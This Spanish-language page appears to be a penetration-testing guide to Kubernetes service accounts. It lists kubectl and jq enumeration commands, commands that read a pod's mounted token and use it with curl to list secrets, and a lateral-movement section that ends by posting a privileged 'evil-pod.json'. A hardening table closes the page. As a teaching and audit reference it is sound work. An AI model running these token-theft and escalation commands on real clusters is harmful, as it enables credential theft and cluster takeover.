Saltar al contenido principal

Cuentas de servicio

Las cuentas de servicio (Service Accounts - SA) son identidades que los pods usan para autenticarse en la API de Kubernetes. Cuando tienen privilegios excesivos o están mal configuradas, los atacantes pueden explotarlas para escalar privilegios, moverse lateralmente y persistir en el clúster.

Enumeración

Listar SAs por namespace

kubectl get serviceaccounts -A

SAs con token automontado habilitado

Por defecto automountServiceAccountToken es true. Cualquier pod que use una SA con acceso excesivo hereda ese acceso.

kubectl get serviceaccounts -A -o json | jq -r '
.items[]
| select((.automountServiceAccountToken // true) == true)
| [.metadata.namespace, .metadata.name] | @tsv'

Pods que montan un token SA

kubectl get pods -A -o json | jq -r '
.items[]
| select(.spec.automountServiceAccountToken != false)
| [.metadata.namespace, .metadata.name, (.spec.serviceAccountName // "default")]
| @tsv'

Pods que usan la SA por defecto

kubectl get pods -A -o json | jq -r '
.items[]
| select(
(.spec.serviceAccountName == "default" or .spec.serviceAccountName == null)
and (.spec.automountServiceAccountToken != false)
)
| [.metadata.namespace, .metadata.name] | @tsv'

Permisos RBAC

RoleBindings de una SA concreta

SA_NAME="my-sa"
SA_NS="default"

kubectl get rolebindings,clusterrolebindings -A -o json | jq -r --arg sa "$SA_NAME" --arg ns "$SA_NS" '
.items[]
| select(
.subjects[]?
| (.kind == "ServiceAccount") and (.name == $sa) and (.namespace == $ns)
)
| [.kind, .metadata.namespace, .metadata.name, .roleRef.kind, .roleRef.name]
| @tsv'

SAs vinculadas a cluster-admin

kubectl get clusterrolebindings -o json | jq -r '
.items[]
| select(.roleRef.name == "cluster-admin")
| .subjects[]?
| select(.kind == "ServiceAccount")
| [.namespace, .name]
| @tsv'

Todas las SAs con ClusterRoleBindings

kubectl get clusterrolebindings -o json | jq -r '
.items[]
| . as $crb
| .subjects[]?
| select(.kind == "ServiceAccount")
| [$crb.roleRef.name, .namespace, .name]
| @tsv'

Permisos de una SA (can-i)

kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>
# Verificar acción concreta
kubectl auth can-i get secrets --as=system:serviceaccount:default:my-sa -n kube-system

Tokens SA

Encontrar tokens montados en un pod

kubectl exec -it <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

Decodificar el token JWT

TOKEN=$(kubectl exec -it <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Usar el token para llamar a la API

TOKEN="<token>"
APISERVER="https://<api-server>:6443"

curl -sk -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/default/secrets"

Tokens de SA almacenados en Secrets (método antiguo, pre-1.24)

kubectl get secrets -A -o json | jq -r '
.items[]
| select(.type == "kubernetes.io/service-account-token")
| [.metadata.namespace, .metadata.name, .metadata.annotations["kubernetes.io/service-account.name"]]
| @tsv'

Secretos accesibles por SA

Listar secretos a los que tiene acceso una SA

kubectl auth can-i get secrets --as=system:serviceaccount:<namespace>:<sa-name> -n <namespace>
kubectl auth can-i list secrets --as=system:serviceaccount:<namespace>:<sa-name> -n <namespace>

SAs con acceso a secretos de kube-system

kubectl get rolebindings,clusterrolebindings -A -o json | jq -r '
.items[]
| select(
(.roleRef.name | test("admin|edit|view|secret")) and
(.subjects[]? | .kind == "ServiceAccount")
)
| [.kind, .metadata.namespace, .metadata.name, .roleRef.name,
(.subjects[] | select(.kind == "ServiceAccount") | "\(.namespace)/\(.name)")]
| @tsv'

Movimiento lateral desde un pod comprometido

Una vez dentro de un pod con token montado:

# Variables desde el entorno del contenedor
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Listar pods del namespace actual
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/pods"

# Listar secretos
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/secrets"

# Crear un pod privilegiado (si se tiene permiso)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST "$APISERVER/api/v1/namespaces/$NS/pods" \
-d @evil-pod.json

Hardening

MedidaDescripción
automountServiceAccountToken: falseDesactivar en pods/SAs que no necesitan acceso a la API
RBAC de mínimo privilegioEvitar cluster-admin; usar roles específicos por recurso y verbo
Tokens proyectados con expiraciónUsar serviceAccountToken projection en lugar de Secrets legacy
Separación de namespacesUna SA por servicio; nunca compartir SAs entre aplicaciones
Auditar con kubectl auth can-i --listRevisar periódicamente los permisos efectivos de cada SA